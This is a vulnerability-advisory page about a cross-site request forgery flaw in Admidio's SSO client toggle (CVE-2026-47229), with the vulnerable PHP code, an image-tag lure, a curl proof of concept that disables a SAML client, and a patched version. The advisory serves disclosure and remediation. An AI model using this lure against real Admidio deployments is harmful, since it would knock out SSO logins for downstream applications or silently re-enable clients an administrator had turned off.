Skip to main content

Admidio CVE-2026-47229

MEDIUM
Cross-Site Request Forgery (CSRF) (CWE-352)
2026-05-29 https://github.com/Admidio/admidio GHSA-xg76-5qj2-2hhv
5.4
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
5.4 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 22:34 vuln.today
Analysis Generated
May 29, 2026 - 22:34 vuln.today

DescriptionGitHub Advisory

Summary

modules/sso/clients.php validates an adm_csrf_token on every state-changing branch except enable. The enable case loads the SAML or OIDC client by UUID, calls $client->enable($enabled), and persists the new state with no token check. Because the action is reachable via plain GET parameters, a third-party page can trick an authenticated administrator into disabling (or silently re-enabling) any configured SAML or OIDC client. Disabling an SSO client breaks every downstream relying-party application that authenticates through it.

Details

Vulnerable Code

modules/sso/clients.php:84-115 - the file's other branches each begin with SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);, but case 'enable': does not:

php
case 'delete_oidc':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    $oidcService = new OIDCService($gDb, $gCurrentUser);
    $client = $oidcService->getClientFromUUID($getClientUUID);
    $client->delete();
    echo json_encode(array('status' => 'success'));
    break;

case 'enable':                                          // <- no CSRF validation
    $enabled = admFuncVariableIsValid($_GET, 'enabled', 'boolean');
    $client = new SAMLClient($gDb);
    $client->readDataByUuid($getClientUUID);
    if ($client->isNewRecord()) {
        // Not a SAML record, so try OIDC:
        $client = new OIDCClient($gDb);
        $client->readDataByUuid($getClientUUID);
    }
    if ($client->isNewRecord()) {
        throw new Exception('SYS_SSO_INVALID_CLIENT');
    }
    $client->enable($enabled);
    $client->save();
    echo json_encode(['success' => true]);
    break;

The enable($enabled) call is documented to set a single boolean column on the SAML / OIDC client row - smc_enabled for SAML, ocl_enabled for OIDC - and save() persists the change immediately. The handler accepts plain GET (admFuncVariableIsValid($_GET, 'enabled', 'boolean')), so a <img src=...> or auto-submitting form is sufficient.

Exploitation Flow

  1. Attacker prepares a hostile page that loads (e.g.) <img src="http://victim.example/modules/sso/clients.php?mode=enable&uuid=<known-sso-client-uuid>&enabled=0">. The client UUID can be observed by anyone who has visited the SSO settings, by anyone who has crawled the SAML metadata endpoint, or by anyone with read access to the SSO clients table - but the value is also enumerable: an admin viewing the list of SSO clients in the UI exposes data-uuid attributes in the rendered HTML, and SSO metadata endpoints (e.g. modules/sso/saml.php?metadata=1&uuid=...) confirm valid UUIDs by returning XML.
  2. An Admidio administrator visits the hostile page while logged in. The browser sends Admidio's session cookie (which does not set SameSite=Strict).
  3. The server runs case 'enable': as the admin, sets smc_enabled=0 (or ocl_enabled=0), and replies {"success":true}.
  4. The configured SAML / OIDC client is now disabled. Every downstream application authenticating through it gets SYS_SSO_INVALID_CLIENT on its next AuthnRequest / token-endpoint call. The outage persists until an admin notices and toggles it back on.

The attacker can also flip the bit the other way: silently *re-enabling* a client that an admin had previously deactivated (perhaps because of a security concern with that relying party).

PoC

Tested on HEAD c5cde53. To produce a deterministic test target, an SSO client is provisioned directly in the DB:

# 0. seed a SAML client
mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio <<'SQL'
INSERT INTO adm_saml_clients (smc_uuid, smc_org_id, smc_client_name, smc_acs_url, smc_enabled,
                              smc_timestamp_create, smc_usr_id_create)
VALUES ('aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee', 1, 'Test SAML', 'https://app.example/acs', 1,
        NOW(), 2);
SQL

mariadb ... admidio -e "SELECT smc_uuid, smc_client_name, smc_enabled FROM adm_saml_clients WHERE smc_client_name='Test SAML';"
smc_uuid                              smc_client_name  smc_enabled
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee  Test SAML        1
# 1. CSRF lure - admin's browser, no token supplied, GET only
curl -b $admin_cookie -i \
  "http://127.0.0.1:8085/modules/sso/clients.php?mode=enable&uuid=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&enabled=0"
HTTP/1.1 200 OK
{"success":true}
# 2. observe the change
mariadb ... admidio -e "SELECT smc_enabled FROM adm_saml_clients WHERE smc_uuid='aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee';"
smc_enabled
0

The change persists. The legitimate admin's UI continues to show the client as configured, but every SAML AuthnRequest fails until the bit is toggled back.

Impact

In an Admidio deployment that uses SSO for downstream relying parties, a CSRF lure targeted at an administrator results in:

  • SSO outage for whichever client UUID the attacker chose. Users who depend on app1.example/sso (or similar) cannot log in. The outage persists until a human admin notices and re-enables the client by hand.
  • Stealthy re-activation of a client the admin had previously deactivated for a security reason - for example, a relying party whose certificate had been compromised - by passing enabled=1 instead of 0.

The impact is limited to the SAML / OIDC _enabled column; nothing else in the SSO state machine is mutated by this branch. Confidentiality is not affected. Availability is partial (A:L) because only one client at a time is hit, and only the SSO path of that client. Integrity is I:L because the _enabled bit is the only mutated column. UI:R reflects the admin-must-visit requirement; PR:N because the attacker needs no Admidio credentials of their own.

Recommended Fix

Add the CSRF check and switch the trigger from GET to POST:

php
case 'enable':
    // check the CSRF token of the form against the session token
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);

    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        throw new Exception('SYS_INVALID_PAGE_VIEW');
    }

    $enabled = admFuncVariableIsValid($_POST, 'enabled', 'boolean');
    $client = new SAMLClient($gDb);
    $client->readDataByUuid($getClientUUID);
    if ($client->isNewRecord()) {
        $client = new OIDCClient($gDb);
        $client->readDataByUuid($getClientUUID);
    }
    if ($client->isNewRecord()) {
        throw new Exception('SYS_SSO_INVALID_CLIENT');
    }
    $client->enable($enabled);
    $client->save();
    echo json_encode(['success' => true]);
    break;

Update the JS call site that drives the enable/disable toggle to POST the form's CSRF token (the page already renders adm_csrf_token).

A regression test should issue a GET /modules/sso/clients.php?mode=enable&uuid=<x>&enabled=0 with an admin cookie but no token, and assert the response rejects the request and the client's _enabled column is unchanged.

AnalysisAI

Cross-site request forgery in Admidio's SSO module allows a network-adjacent attacker to disable or silently re-enable any configured SAML or OIDC authentication client by tricking an authenticated administrator into loading a malicious page. The enable action in modules/sso/clients.php accepts its enabled parameter via GET and applies the state change with no CSRF token validation, while every other state-changing branch in the same file enforces SecurityUtils::validateCsrfToken(). A working proof-of-concept is included in the vendor's GitHub security advisory (GHSA-xg76-5qj2-2hhv); no KEV listing was identified at time of analysis.

Technical ContextAI

Admidio is a PHP-based community and membership management web application distributed via Composer (pkg:composer/admidio_admidio). The flaw is rooted in CWE-352 (Cross-Site Request Forgery): the server processes a state-changing operation - toggling the smc_enabled or ocl_enabled boolean column for a SAML or OIDC client row - without verifying that the request originated from a legitimate user action. Critically, the case 'enable': branch in modules/sso/clients.php at lines 84-115 uses admFuncVariableIsValid($_GET, 'enabled', 'boolean'), reading from the GET superglobal, whereas all peer branches (case 'delete_oidc':, case 'delete_saml':, etc.) use $_POST and call SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']). Because the action is triggered by a GET request, a zero-interaction tag such as <img src=...> is sufficient to initiate the state change without any form submission or JavaScript.

RemediationAI

Upgrade Admidio to version 5.0.10, which adds SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']) to the case 'enable': branch and switches the parameter source from $_GET to $_POST, as detailed in the vendor advisory at https://github.com/Admidio/admidio/security/advisories/GHSA-xg76-5qj2-2hhv. If immediate upgrade is not feasible, restrict administrative access to the Admidio admin panel at the network or web-server layer via IP allowlisting, which prevents an external attacker from delivering a CSRF lure to a reachable endpoint - though this adds operational friction for admins working from variable locations. As an additional control, administrators should use separate browser profiles or sessions for Admidio administration to prevent cross-site cookie leakage during routine browsing. There is no safe workaround that preserves SSO toggle functionality without patching; the recommended fix is upgrading to 5.0.10.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-47229 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy